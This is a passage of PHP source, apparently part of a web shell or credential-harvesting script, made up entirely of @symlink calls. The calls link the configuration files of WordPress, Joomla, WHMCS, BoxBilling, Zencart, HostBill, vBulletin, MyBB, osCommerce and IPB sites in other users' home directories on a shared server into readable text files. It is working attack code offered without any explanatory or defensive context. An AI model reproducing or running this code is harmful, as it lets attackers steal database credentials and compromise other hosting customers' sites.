  1131. @symlink('/home1/'.$user.'/public_html/home/wp-config.php',$user.'-Wordpress.txt');
  1132. @symlink('/home1/'.$user.'/public_html/v1/wp-config.php',$user.'-Wordpress.txt');
  1133. @symlink('/home1/'.$user.'/public_html/v2/wp-config.php',$user.'-Wordpress.txt');
  1134. @symlink('/home1/'.$user.'/public_html/press/wp-config.php',$user.'-Wordpress.txt');
  1135. @symlink('/home1/'.$user.'/public_html/new/wp-config.php',$user.'-Wordpress.txt');
  1136. @symlink('/home1/'.$user.'/public_html/blogs/wp-config.php',$user.'-Wordpress.txt');
  1137. @symlink('/home1/'.$user.'/public_html/configuration.php',$user.'-Joomla.txt');
  1138. @symlink('/home1/'.$user.'/public_html/blog/configuration.php',$user.'-Joomla.txt');
  1139. @symlink('/home1/'.$user.'/public_html/submitticket.php',$user.'-^WHMCS.txt');
  1140. @symlink('/home1/'.$user.'/public_html/cms/configuration.php',$user.'-Joomla.txt');
  1141. @symlink('/home1/'.$user.'/public_html/beta/configuration.php',$user.'-Joomla.txt');
  1142. @symlink('/home1/'.$user.'/public_html/portal/configuration.php',$user.'-Joomla.txt');
  1143. @symlink('/home1/'.$user.'/public_html/site/configuration.php',$user.'-Joomla.txt');
  1144. @symlink('/home1/'.$user.'/public_html/main/configuration.php',$user.'-Joomla.txt');
  1145. @symlink('/home1/'.$user.'/public_html/home/configuration.php',$user.'-Joomla.txt');
  1146. @symlink('/home1/'.$user.'/public_html/demo/configuration.php',$user.'-Joomla.txt');
  1147. @symlink('/home1/'.$user.'/public_html/test/configuration.php',$user.'-Joomla.txt');
  1148. @symlink('/home1/'.$user.'/public_html/v1/configuration.php',$user.'-Joomla.txt');
  1149. @symlink('/home1/'.$user.'/public_html/v2/configuration.php',$user.'-Joomla.txt');
  1150. @symlink('/home1/'.$user.'/public_html/joomla/configuration.php',$user.'-Joomla.txt');
  1151. @symlink('/home1/'.$user.'/public_html/new/configuration.php',$user.'-Joomla.txt');
  1152. @symlink('/home1/'.$user.'/public_html/WHMCS/configuration.php',$user.'-WHMCS.txt');
  1153. @symlink('/home1/'.$user.'/public_html/whmcs1/configuration.php',$user.'-WHMCS.txt');
  1154. @symlink('/home1/'.$user.'/public_html/Whmcs/configuration.php',$user.'-WHMCS.txt');
  1155. @symlink('/home1/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
  1156. @symlink('/home1/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
  1157. @symlink('/home1/'.$user.'/public_html/WHMC/configuration.php',$user.'-WHMCS.txt');
  1158. @symlink('/home1/'.$user.'/public_html/Whmc/configuration.php',$user.'-WHMCS.txt');
  1159. @symlink('/home1/'.$user.'/public_html/whmc/configuration.php',$user.'-WHMCS.txt');
  1160. @symlink('/home1/'.$user.'/public_html/WHM/configuration.php',$user.'-WHMCS.txt');
  1161. @symlink('/home1/'.$user.'/public_html/Whm/configuration.php',$user.'-WHMCS.txt');
  1162. @symlink('/home1/'.$user.'/public_html/whm/configuration.php',$user.'-WHMCS.txt');
  1163. @symlink('/home1/'.$user.'/public_html/HOST/configuration.php',$user.'-WHMCS.txt');
  1164. @symlink('/home1/'.$user.'/public_html/Host/configuration.php',$user.'-WHMCS.txt');
  1165. @symlink('/home1/'.$user.'/public_html/host/configuration.php',$user.'-WHMCS.txt');
  1166. @symlink('/home1/'.$user.'/public_html/SUPPORTES/configuration.php',$user.'-WHMCS.txt');
  1167. @symlink('/home1/'.$user.'/public_html/Supportes/configuration.php',$user.'-WHMCS.txt');
  1168. @symlink('/home1/'.$user.'/public_html/supportes/configuration.php',$user.'-WHMCS.txt');
  1169. @symlink('/home1/'.$user.'/public_html/domains/configuration.php',$user.'-WHMCS.txt');
  1170. @symlink('/home1/'.$user.'/public_html/domain/configuration.php',$user.'-WHMCS.txt');
  1171. @symlink('/home1/'.$user.'/public_html/Hosting/configuration.php',$user.'-WHMCS.txt');
  1172. @symlink('/home1/'.$user.'/public_html/HOSTING/configuration.php',$user.'-WHMCS.txt');
  1173. @symlink('/home1/'.$user.'/public_html/hosting/configuration.php',$user.'-WHMCS.txt');
  1174. @symlink('/home1/'.$user.'/public_html/CART/configuration.php',$user.'-WHMCS.txt');
  1175. @symlink('/home1/'.$user.'/public_html/Cart/configuration.php',$user.'-WHMCS.txt');
  1176. @symlink('/home1/'.$user.'/public_html/cart/configuration.php',$user.'-WHMCS.txt');
  1177. @symlink('/home1/'.$user.'/public_html/ORDER/configuration.php',$user.'-WHMCS.txt');
  1178. @symlink('/home1/'.$user.'/public_html/Order/configuration.php',$user.'-WHMCS.txt');
  1179. @symlink('/home1/'.$user.'/public_html/order/configuration.php',$user.'-WHMCS.txt');
  1180. @symlink('/home1/'.$user.'/public_html/CLIENT/configuration.php',$user.'-WHMCS.txt');
  1181. @symlink('/home1/'.$user.'/public_html/Client/configuration.php',$user.'-WHMCS.txt');
  1182. @symlink('/home1/'.$user.'/public_html/client/configuration.php',$user.'-WHMCS.txt');
  1183. @symlink('/home1/'.$user.'/public_html/CLIENTAREA/configuration.php',$user.'-WHMCS.txt');
  1184. @symlink('/home1/'.$user.'/public_html/Clientarea/configuration.php',$user.'-WHMCS.txt');
  1185. @symlink('/home1/'.$user.'/public_html/clientarea/configuration.php',$user.'-WHMCS.txt');
  1186. @symlink('/home1/'.$user.'/public_html/SUPPORT/configuration.php',$user.'-WHMCS.txt');
  1187. @symlink('/home1/'.$user.'/public_html/Support/configuration.php',$user.'-WHMCS.txt');
  1188. @symlink('/home1/'.$user.'/public_html/support/configuration.php',$user.'-WHMCS.txt');
  1189. @symlink('/home1/'.$user.'/public_html/BILLING/configuration.php',$user.'-WHMCS.txt');
  1190. @symlink('/home1/'.$user.'/public_html/Billing/configuration.php',$user.'-WHMCS.txt');
  1191. @symlink('/home1/'.$user.'/public_html/billing/configuration.php',$user.'-WHMCS.txt');
  1192. @symlink('/home1/'.$user.'/public_html/BUY/configuration.php',$user.'-WHMCS.txt');
  1193. @symlink('/home1/'.$user.'/public_html/Buy/configuration.php',$user.'-WHMCS.txt');
  1194. @symlink('/home1/'.$user.'/public_html/buy/configuration.php',$user.'-WHMCS.txt');
  1195. @symlink('/home1/'.$user.'/public_html/MANAGE/configuration.php',$user.'-WHMCS.txt');
  1196. @symlink('/home1/'.$user.'/public_html/Manage/configuration.php',$user.'-WHMCS.txt');
  1197. @symlink('/home1/'.$user.'/public_html/manage/configuration.php',$user.'-WHMCS.txt');
  1198. @symlink('/home1/'.$user.'/public_html/CLIENTSUPPORT/configuration.php',$user.'-WHMCS.txt');
  1199. @symlink('/home1/'.$user.'/public_html/ClientSupport/configuration.php',$user.'-WHMCS.txt');
  1200. @symlink('/home1/'.$user.'/public_html/Clientsupport/configuration.php',$user.'-WHMCS.txt');
  1201. @symlink('/home1/'.$user.'/public_html/clientsupport/configuration.php',$user.'-WHMCS.txt');
  1202. @symlink('/home1/'.$user.'/public_html/CHECKOUT/configuration.php',$user.'-WHMCS.txt');
  1203. @symlink('/home1/'.$user.'/public_html/Checkout/configuration.php',$user.'-WHMCS.txt');
  1204. @symlink('/home1/'.$user.'/public_html/checkout/configuration.php',$user.'-WHMCS.txt');
  1205. @symlink('/home1/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
  1206. @symlink('/home1/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
  1207. @symlink('/home1/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
  1208. @symlink('/home1/'.$user.'/public_html/BASKET/configuration.php',$user.'-WHMCS.txt');
  1209. @symlink('/home1/'.$user.'/public_html/Basket/configuration.php',$user.'-WHMCS.txt');
  1210. @symlink('/home1/'.$user.'/public_html/basket/configuration.php',$user.'-WHMCS.txt');
  1211. @symlink('/home1/'.$user.'/public_html/SECURE/configuration.php',$user.'-WHMCS.txt');
  1212. @symlink('/home1/'.$user.'/public_html/Secure/configuration.php',$user.'-WHMCS.txt');
  1213. @symlink('/home1/'.$user.'/public_html/secure/configuration.php',$user.'-WHMCS.txt');
  1214. @symlink('/home1/'.$user.'/public_html/SALES/configuration.php',$user.'-WHMCS.txt');
  1215. @symlink('/home1/'.$user.'/public_html/Sales/configuration.php',$user.'-WHMCS.txt');
  1216. @symlink('/home1/'.$user.'/public_html/sales/configuration.php',$user.'-WHMCS.txt');
  1217. @symlink('/home1/'.$user.'/public_html/BILL/configuration.php',$user.'-WHMCS.txt');
  1218. @symlink('/home1/'.$user.'/public_html/Bill/configuration.php',$user.'-WHMCS.txt');
  1219. @symlink('/home1/'.$user.'/public_html/bill/configuration.php',$user.'-WHMCS.txt');
  1220. @symlink('/home1/'.$user.'/public_html/PURCHASE/configuration.php',$user.'-WHMCS.txt');
  1221. @symlink('/home1/'.$user.'/public_html/Purchase/configuration.php',$user.'-WHMCS.txt');
  1222. @symlink('/home1/'.$user.'/public_html/purchase/configuration.php',$user.'-WHMCS.txt');
  1223. @symlink('/home1/'.$user.'/public_html/ACCOUNT/configuration.php',$user.'-WHMCS.txt');
  1224. @symlink('/home1/'.$user.'/public_html/Account/configuration.php',$user.'-WHMCS.txt');
  1225. @symlink('/home1/'.$user.'/public_html/account/configuration.php',$user.'-WHMCS.txt');
  1226. @symlink('/home1/'.$user.'/public_html/USER/configuration.php',$user.'-WHMCS.txt');
  1227. @symlink('/home1/'.$user.'/public_html/User/configuration.php',$user.'-WHMCS.txt');
  1228. @symlink('/home1/'.$user.'/public_html/user/configuration.php',$user.'-WHMCS.txt');
  1229. @symlink('/home1/'.$user.'/public_html/CLIENTS/configuration.php',$user.'-WHMCS.txt');
  1230. @symlink('/home1/'.$user.'/public_html/Clients/configuration.php',$user.'-WHMCS.txt');
  1231. @symlink('/home1/'.$user.'/public_html/clients/configuration.php',$user.'-WHMCS.txt');
  1232. @symlink('/home1/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
  1233. @symlink('/home1/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
  1234. @symlink('/home1/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
  1235. @symlink('/home1/'.$user.'/public_html/MY/configuration.php',$user.'-WHMCS.txt');
  1236. @symlink('/home1/'.$user.'/public_html/My/configuration.php',$user.'-WHMCS.txt');
  1237. @symlink('/home1/'.$user.'/public_html/my/configuration.php',$user.'-WHMCS.txt');
  1238. @symlink('/home1/'.$user.'/public_html/secure/whm/configuration.php',$user.'-WHMCS.txt');
  1239. @symlink('/home1/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-WHMCS.txt');
  1240. @symlink('/home1/'.$user.'/public_html/panel/configuration.php',$user.'-WHMCS.txt');
  1241. @symlink('/home1/'.$user.'/public_html/clientes/configuration.php',$user.'-WHMCS.txt');
  1242. @symlink('/home1/'.$user.'/public_html/cliente/configuration.php',$user.'-WHMCS.txt');
  1243. @symlink('/home1/'.$user.'/public_html/support/order/configuration.php',$user.'-WHMCS.txt');
  1244. @symlink('/home1/'.$user.'/public_html/bb-config.php',$user.'-BoxBilling.txt');
  1245. @symlink('/home1/'.$user.'/public_html/boxbilling/bb-config.php',$user.'-BoxBilling.txt');
  1246. @symlink('/home1/'.$user.'/public_html/box/bb-config.php',$user.'-BoxBilling.txt');
  1247. @symlink('/home1/'.$user.'/public_html/host/bb-config.php',$user.'-BoxBilling.txt');
  1248. @symlink('/home1/'.$user.'/public_html/Host/bb-config.php',$user.'-BoxBilling.txt');
  1249. @symlink('/home1/'.$user.'/public_html/supportes/bb-config.php',$user.'-BoxBilling.txt');
  1250. @symlink('/home1/'.$user.'/public_html/support/bb-config.php',$user.'-BoxBilling.txt');
  1251. @symlink('/home1/'.$user.'/public_html/hosting/bb-config.php',$user.'-BoxBilling.txt');
  1252. @symlink('/home1/'.$user.'/public_html/cart/bb-config.php',$user.'-BoxBilling.txt');
  1253. @symlink('/home1/'.$user.'/public_html/order/bb-config.php',$user.'-BoxBilling.txt');
  1254. @symlink('/home1/'.$user.'/public_html/client/bb-config.php',$user.'-BoxBilling.txt');
  1255. @symlink('/home1/'.$user.'/public_html/clients/bb-config.php',$user.'-BoxBilling.txt');
  1256. @symlink('/home1/'.$user.'/public_html/cliente/bb-config.php',$user.'-BoxBilling.txt');
  1257. @symlink('/home1/'.$user.'/public_html/clientes/bb-config.php',$user.'-BoxBilling.txt');
  1258. @symlink('/home1/'.$user.'/public_html/billing/bb-config.php',$user.'-BoxBilling.txt');
  1259. @symlink('/home1/'.$user.'/public_html/billings/bb-config.php',$user.'-BoxBilling.txt');
  1260. @symlink('/home1/'.$user.'/public_html/my/bb-config.php',$user.'-BoxBilling.txt');
  1261. @symlink('/home1/'.$user.'/public_html/secure/bb-config.php',$user.'-BoxBilling.txt');
  1262. @symlink('/home1/'.$user.'/public_html/support/order/bb-config.php',$user.'-BoxBilling.txt');
  1263. @symlink('/home1/'.$user.'/public_html/includes/dist-configure.php',$user.'-Zencart.txt');
  1264. @symlink('/home1/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-Zencart.txt');
  1265. @symlink('/home1/'.$user.'/public_html/products/includes/dist-configure.php',$user.'-Zencart.txt');
  1266. @symlink('/home1/'.$user.'/public_html/cart/includes/dist-configure.php',$user.'-Zencart.txt');
  1267. @symlink('/home1/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-Zencart.txt');
  1268. @symlink('/home1/'.$user.'/public_html/includes/iso4217.php',$user.'-Hostbills.txt');
  1269. @symlink('/home1/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-Hostbills.txt');
  1270. @symlink('/home1/'.$user.'/public_html/host/includes/iso4217.php',$user.'-Hostbills.txt');
  1271. @symlink('/home1/'.$user.'/public_html/Host/includes/iso4217.php',$user.'-Hostbills.txt');
  1272. @symlink('/home1/'.$user.'/public_html/supportes/includes/iso4217.php',$user.'-Hostbills.txt');
  1273. @symlink('/home1/'.$user.'/public_html/support/includes/iso4217.php',$user.'-Hostbills.txt');
  1274. @symlink('/home1/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-Hostbills.txt');
  1275. @symlink('/home1/'.$user.'/public_html/cart/includes/iso4217.php',$user.'-Hostbills.txt');
  1276. @symlink('/home1/'.$user.'/public_html/order/includes/iso4217.php',$user.'-Hostbills.txt');
  1277. @symlink('/home1/'.$user.'/public_html/client/includes/iso4217.php',$user.'-Hostbills.txt');
  1278. @symlink('/home1/'.$user.'/public_html/clients/includes/iso4217.php',$user.'-Hostbills.txt');
  1279. @symlink('/home1/'.$user.'/public_html/cliente/includes/iso4217.php',$user.'-Hostbills.txt');
  1280. @symlink('/home1/'.$user.'/public_html/clientes/includes/iso4217.php',$user.'-Hostbills.txt');
  1281. @symlink('/home1/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-Hostbills.txt');
  1282. @symlink('/home1/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-Hostbills.txt');
  1283. @symlink('/home1/'.$user.'/public_html/my/includes/iso4217.php',$user.'-Hostbills.txt');
  1284. @symlink('/home1/'.$user.'/public_html/secure/includes/iso4217.php',$user.'-Hostbills.txt');
  1285. @symlink('/home1/'.$user.'/public_html/support/order/includes/iso4217.php',$user.'-Hostbills.txt');
  1286.  
  1287. //Home2
  1288.  
  1289. @symlink('/home2/'.$user.'/public_html/vb/includes/config.php',$user.'-Vbulletin.txt');
  1290. @symlink('/home2/'.$user.'/public_html/includes/config.php',$user.'-Vbulletin.txt');
  1291. @symlink('/home2/'.$user.'/public_html/forum/includes/config.php',$user.'-Vbulletin.txt');
  1292. @symlink('/home2/'.$user.'/public_html/forums/includes/config.php',$user.'-Vbulletin.txt');
  1293. @symlink('/home2/'.$user.'/public_html/cc/includes/config.php',$user.'-Vbulletin.txt');
  1294. @symlink('/home2/'.$user.'/public_html/inc/config.php',$user.'-MyBB.txt');
  1295. @symlink('/home2/'.$user.'/public_html/includes/configure.php',$user.'-OsCommerce.txt');
  1296. @symlink('/home2/'.$user.'/public_html/shop/includes/configure.php',$user.'-OsCommerce.txt');
  1297. @symlink('/home2/'.$user.'/public_html/os/includes/configure.php',$user.'-OsCommerce.txt');
  1298. @symlink('/home2/'.$user.'/public_html/oscom/includes/configure.php',$user.'-OsCommerce.txt');
  1299. @symlink('/home2/'.$user.'/public_html/products/includes/configure.php',$user.'-OsCommerce.txt');
  1300. @symlink('/home2/'.$user.'/public_html/cart/includes/configure.php',$user.'-OsCommerce.txt');
  1301. @symlink('/home2/'.$user.'/public_html/inc/conf_global.php',$user.'-IPB.txt');
  1302. @symlink('/home2/'.$user.'/public_html/wp-config.php',$user.'-Wordpress.txt');
  1303. @symlink('/home2/'.$user.'/public_html/wp/test/wp-config.php',$user.'-Wordpress.txt');
  1304. @symlink('/home2/'.$user.'/public_html/blog/wp-config.php',$user.'-Wordpress.txt');
  1305. @symlink('/home2/'.$user.'/public_html/beta/wp-config.php',$user.'-Wordpress.txt');
  1306. @symlink('/home2/'.$user.'/public_html/portal/wp-config.php',$user.'-Wordpress.txt');
  1307. @symlink('/home2/'.$user.'/public_html/site/wp-config.php',$user.'-Wordpress.txt');
  1308. @symlink('/home2/'.$user.'/public_html/wp/wp-config.php',$user.'-Wordpress.txt');
  1309. @symlink('/home2/'.$user.'/public_html/WP/wp-config.php',$user.'-Wordpress.txt');
  1310. @symlink('/home2/'.$user.'/public_html/news/wp-config.php',$user.'-Wordpress.txt');
  1311. @symlink('/home2/'.$user.'/public_html/wordpress/wp-config.php',$user.'-Wordpress.txt');
  1312. @symlink('/home2/'.$user.'/public_html/test/wp-config.php',$user.'-Wordpress.txt');
  1313. @symlink('/home2/'.$user.'/public_html/demo/wp-config.php',$user.'-Wordpress.txt');
  1314. @symlink('/home2/'.$user.'/public_html/home/wp-config.php',$user.'-Wordpress.txt');
  1315. @symlink('/home2/'.$user.'/public_html/v1/wp-config.php',$user.'-Wordpress.txt');
  1316. @symlink('/home2/'.$user.'/public_html/v2/wp-config.php',$user.'-Wordpress.txt');
  1317. @symlink('/home2/'.$user.'/public_html/press/wp-config.php',$user.'-Wordpress.txt');
  1318. @symlink('/home2/'.$user.'/public_html/new/wp-config.php',$user.'-Wordpress.txt');
  1319. @symlink('/home2/'.$user.'/public_html/blogs/wp-config.php',$user.'-Wordpress.txt');
  1320. @symlink('/home2/'.$user.'/public_html/configuration.php',$user.'-Joomla.txt');
  1321. @symlink('/home2/'.$user.'/public_html/blog/configuration.php',$user.'-Joomla.txt');
  1322. @symlink('/home2/'.$user.'/public_html/submitticket.php',$user.'-^WHMCS.txt');
  1323. @symlink('/home2/'.$user.'/public_html/cms/configuration.php',$user.'-Joomla.txt');
  1324. @symlink('/home2/'.$user.'/public_html/beta/configuration.php',$user.'-Joomla.txt');
  1325. @symlink('/home2/'.$user.'/public_html/portal/configuration.php',$user.'-Joomla.txt');
  1326. @symlink('/home2/'.$user.'/public_html/site/configuration.php',$user.'-Joomla.txt');
  1327. @symlink('/home2/'.$user.'/public_html/main/configuration.php',$user.'-Joomla.txt');
  1328. @symlink('/home2/'.$user.'/public_html/home/configuration.php',$user.'-Joomla.txt');
  1329. @symlink('/home2/'.$user.'/public_html/demo/configuration.php',$user.'-Joomla.txt');
  1330. @symlink('/home2/'.$user.'/public_html/test/configuration.php',$user.'-Joomla.txt');
  1331. @symlink('/home2/'.$user.'/public_html/v1/configuration.php',$user.'-Joomla.txt');
  1332. @symlink('/home2/'.$user.'/public_html/v2/configuration.php',$user.'-Joomla.txt');
  1333. @symlink('/home2/'.$user.'/public_html/joomla/configuration.php',$user.'-Joomla.txt');
  1334. @symlink('/home2/'.$user.'/public_html/new/configuration.php',$user.'-Joomla.txt');
  1335. @symlink('/home2/'.$user.'/public_html/WHMCS/configuration.php',$user.'-WHMCS.txt');
  1336. @symlink('/home2/'.$user.'/public_html/whmcs1/configuration.php',$user.'-WHMCS.txt');
  1337. @symlink('/home2/'.$user.'/public_html/Whmcs/configuration.php',$user.'-WHMCS.txt');
  1338. @symlink('/home2/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
  1339. @symlink('/home2/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
  1340. @symlink('/home2/'.$user.'/public_html/WHMC/configuration.php',$user.'-WHMCS.txt');
  1341. @symlink('/home2/'.$user.'/public_html/Whmc/configuration.php',$user.'-WHMCS.txt');
  1342. @symlink('/home2/'.$user.'/public_html/whmc/configuration.php',$user.'-WHMCS.txt');
  1343. @symlink('/home2/'.$user.'/public_html/WHM/configuration.php',$user.'-WHMCS.txt');
  1344. @symlink('/home2/'.$user.'/public_html/Whm/configuration.php',$user.'-WHMCS.txt');
  1345. @symlink('/home2/'.$user.'/public_html/whm/configuration.php',$user.'-WHMCS.txt');
  1346. @symlink('/home2/'.$user.'/public_html/HOST/configuration.php',$user.'-WHMCS.txt');
  1347. @symlink('/home2/'.$user.'/public_html/Host/configuration.php',$user.'-WHMCS.txt');
  1348. @symlink('/home2/'.$user.'/public_html/host/configuration.php',$user.'-WHMCS.txt');
  1349. @symlink('/home2/'.$user.'/public_html/SUPPORTES/configuration.php',$user.'-WHMCS.txt');
  1350. @symlink('/home2/'.$user.'/public_html/Supportes/configuration.php',$user.'-WHMCS.txt');
  1351. @symlink('/home2/'.$user.'/public_html/supportes/configuration.php',$user.'-WHMCS.txt');
  1352. @symlink('/home2/'.$user.'/public_html/domains/configuration.php',$user.'-WHMCS.txt');
  1353. @symlink('/home2/'.$user.'/public_html/domain/configuration.php',$user.'-WHMCS.txt');
  1354. @symlink('/home2/'.$user.'/public_html/Hosting/configuration.php',$user.'-WHMCS.txt');
  1355. @symlink('/home2/'.$user.'/public_html/HOSTING/configuration.php',$user.'-WHMCS.txt');
  1356. @symlink('/home2/'.$user.'/public_html/hosting/configuration.php',$user.'-WHMCS.txt');
  1357. @symlink('/home2/'.$user.'/public_html/CART/configuration.php',$user.'-WHMCS.txt');
  1358. @symlink('/home2/'.$user.'/public_html/Cart/configuration.php',$user.'-WHMCS.txt');
  1359. @symlink('/home2/'.$user.'/public_html/cart/configuration.php',$user.'-WHMCS.txt');
  1360. @symlink('/home2/'.$user.'/public_html/ORDER/configuration.php',$user.'-WHMCS.txt');
  1361. @symlink('/home2/'.$user.'/public_html/Order/configuration.php',$user.'-WHMCS.txt');
  1362. @symlink('/home2/'.$user.'/public_html/order/configuration.php',$user.'-WHMCS.txt');
  1363. @symlink('/home2/'.$user.'/public_html/CLIENT/configuration.php',$user.'-WHMCS.txt');
  1364. @symlink('/home2/'.$user.'/public_html/Client/configuration.php',$user.'-WHMCS.txt');
  1365. @symlink('/home2/'.$user.'/public_html/client/configuration.php',$user.'-WHMCS.txt');
  1366. @symlink('/home2/'.$user.'/public_html/CLIENTAREA/configuration.php',$user.'-WHMCS.txt');
  1367. @symlink('/home2/'.$user.'/public_html/Clientarea/configuration.php',$user.'-WHMCS.txt');
  1368. @symlink('/home2/'.$user.'/public_html/clientarea/configuration.php',$user.'-WHMCS.txt');
  1369. @symlink('/home2/'.$user.'/public_html/SUPPORT/configuration.php',$user.'-WHMCS.txt');
  1370. @symlink('/home2/'.$user.'/public_html/Support/configuration.php',$user.'-WHMCS.txt');
  1371. @symlink('/home2/'.$user.'/public_html/support/configuration.php',$user.'-WHMCS.txt');
  1372. @symlink('/home2/'.$user.'/public_html/BILLING/configuration.php',$user.'-WHMCS.txt');
  1373. @symlink('/home2/'.$user.'/public_html/Billing/configuration.php',$user.'-WHMCS.txt');
  1374. @symlink('/home2/'.$user.'/public_html/billing/configuration.php',$user.'-WHMCS.txt');
  1375. @symlink('/home2/'.$user.'/public_html/BUY/configuration.php',$user.'-WHMCS.txt');
  1376. @symlink('/home2/'.$user.'/public_html/Buy/configuration.php',$user.'-WHMCS.txt');
  1377. @symlink('/home2/'.$user.'/public_html/buy/configuration.php',$user.'-WHMCS.txt');
  1378. @symlink('/home2/'.$user.'/public_html/MANAGE/configuration.php',$user.'-WHMCS.txt');
  1379. @symlink('/home2/'.$user.'/public_html/Manage/configuration.php',$user.'-WHMCS.txt');
  1380. @symlink('/home2/'.$user.'/public_html/manage/configuration.php',$user.'-WHMCS.txt');
  1381. @symlink('/home2/'.$user.'/public_html/CLIENTSUPPORT/configuration.php',$user.'-WHMCS.txt');
  1382. @symlink('/home2/'.$user.'/public_html/ClientSupport/configuration.php',$user.'-WHMCS.txt');
  1383. @symlink('/home2/'.$user.'/public_html/Clientsupport/configuration.php',$user.'-WHMCS.txt');
  1384. @symlink('/home2/'.$user.'/public_html/clientsupport/configuration.php',$user.'-WHMCS.txt');
  1385. @symlink('/home2/'.$user.'/public_html/CHECKOUT/configuration.php',$user.'-WHMCS.txt');
  1386. @symlink('/home2/'.$user.'/public_html/Checkout/configuration.php',$user.'-WHMCS.txt');
  1387. @symlink('/home2/'.$user.'/public_html/checkout/configuration.php',$user.'-WHMCS.txt');
  1388. @symlink('/home2/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
  1389. @symlink('/home2/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
  1390. @symlink('/home2/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
  1391. @symlink('/home2/'.$user.'/public_html/BASKET/configuration.php',$user.'-WHMCS.txt');
  1392. @symlink('/home2/'.$user.'/public_html/Basket/configuration.php',$user.'-WHMCS.txt');
  1393. @symlink('/home2/'.$user.'/public_html/basket/configuration.php',$user.'-WHMCS.txt');
  1394. @symlink('/home2/'.$user.'/public_html/SECURE/configuration.php',$user.'-WHMCS.txt');
  1395. @symlink('/home2/'.$user.'/public_html/Secure/configuration.php',$user.'-WHMCS.txt');
  1396. @symlink('/home2/'.$user.'/public_html/secure/configuration.php',$user.'-WHMCS.txt');
  1397. @symlink('/home2/'.$user.'/public_html/SALES/configuration.php',$user.'-WHMCS.txt');
  1398. @symlink('/home2/'.$user.'/public_html/Sales/configuration.php',$user.'-WHMCS.txt');
  1399. @symlink('/home2/'.$user.'/public_html/sales/configuration.php',$user.'-WHMCS.txt');
  1400. @symlink('/home2/'.$user.'/public_html/BILL/configuration.php',$user.'-WHMCS.txt');
  1401. @symlink('/home2/'.$user.'/public_html/Bill/configuration.php',$user.'-WHMCS.txt');
  1402. @symlink('/home2/'.$user.'/public_html/bill/configuration.php',$user.'-WHMCS.txt');
  1403. @symlink('/home2/'.$user.'/public_html/PURCHASE/configuration.php',$user.'-WHMCS.txt');
  1404. @symlink('/home2/'.$user.'/public_html/Purchase/configuration.php',$user.'-WHMCS.txt');
  1405. @symlink('/home2/'.$user.'/public_html/purchase/configuration.php',$user.'-WHMCS.txt');
  1406. @symlink('/home2/'.$user.'/public_html/ACCOUNT/configuration.php',$user.'-WHMCS.txt');
  1407. @symlink('/home2/'.$user.'/public_html/Account/configuration.php',$user.'-WHMCS.txt');
  1408. @symlink('/home2/'.$user.'/public_html/account/configuration.php',$user.'-WHMCS.txt');
  1409. @symlink('/home2/'.$user.'/public_html/USER/configuration.php',$user.'-WHMCS.txt');
  1410. @symlink('/home2/'.$user.'/public_html/User/configuration.php',$user.'-WHMCS.txt');
  1411. @symlink('/home2/'.$user.'/public_html/user/configuration.php',$user.'-WHMCS.txt');
  1412. @symlink('/home2/'.$user.'/public_html/CLIENTS/configuration.php',$user.'-WHMCS.txt');
  1413. @symlink('/home2/'.$user.'/public_html/Clients/configuration.php',$user.'-WHMCS.txt');
  1414. @symlink('/home2/'.$user.'/public_html/clients/configuration.php',$user.'-WHMCS.txt');
  1415. @symlink('/home2/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
  1416. @symlink('/home2/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
  1417. @symlink('/home2/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
  1418. @symlink('/home2/'.$user.'/public_html/MY/configuration.php',$user.'-WHMCS.txt');
  1419. @symlink('/home2/'.$user.'/public_html/My/configuration.php',$user.'-WHMCS.txt');
  1420. @symlink('/home2/'.$user.'/public_html/my/configuration.php',$user.'-WHMCS.txt');
  1421. @symlink('/home2/'.$user.'/public_html/secure/whm/configuration.php',$user.'-WHMCS.txt');
  1422. @symlink('/home2/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-WHMCS.txt');
  1423. @symlink('/home2/'.$user.'/public_html/panel/configuration.php',$user.'-WHMCS.txt');
  1424. @symlink('/home2/'.$user.'/public_html/clientes/configuration.php',$user.'-WHMCS.txt');
  1425. @symlink('/home2/'.$user.'/public_html/cliente/configuration.php',$user.'-WHMCS.txt');
  1426. @symlink('/home2/'.$user.'/public_html/support/order/configuration.php',$user.'-WHMCS.txt');
  1427. @symlink('/home2/'.$user.'/public_html/bb-config.php',$user.'-BoxBilling.txt');
  1428. @symlink('/home2/'.$user.'/public_html/boxbilling/bb-config.php',$user.'-BoxBilling.txt');
  1429. @symlink('/home2/'.$user.'/public_html/box/bb-config.php',$user.'-BoxBilling.txt');
  1430. @symlink('/home2/'.$user.'/public_html/host/bb-config.php',$user.'-BoxBilling.txt');
  1431. @symlink('/home2/'.$user.'/public_html/Host/bb-config.php',$user.'-BoxBilling.txt');
  1432. @symlink('/home2/'.$user.'/public_html/supportes/bb-config.php',$user.'-BoxBilling.txt');
  1433. @symlink('/home2/'.$user.'/public_html/support/bb-config.php',$user.'-BoxBilling.txt');
  1434. @symlink('/home2/'.$user.'/public_html/hosting/bb-config.php',$user.'-BoxBilling.txt');
  1435. @symlink('/home2/'.$user.'/public_html/cart/bb-config.php',$user.'-BoxBilling.txt');
  1436. @symlink('/home2/'.$user.'/public_html/order/bb-config.php',$user.'-BoxBilling.txt');
